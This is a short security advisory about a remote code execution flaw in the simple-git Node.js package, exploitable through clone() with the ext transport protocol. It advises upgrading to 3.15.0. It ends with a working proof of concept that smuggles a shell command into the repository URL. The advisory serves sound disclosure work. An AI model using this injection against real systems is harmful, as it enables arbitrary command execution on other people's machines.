How to fix?

Upgrade simple-git to version 3.15.0 or higher.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

PoC

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
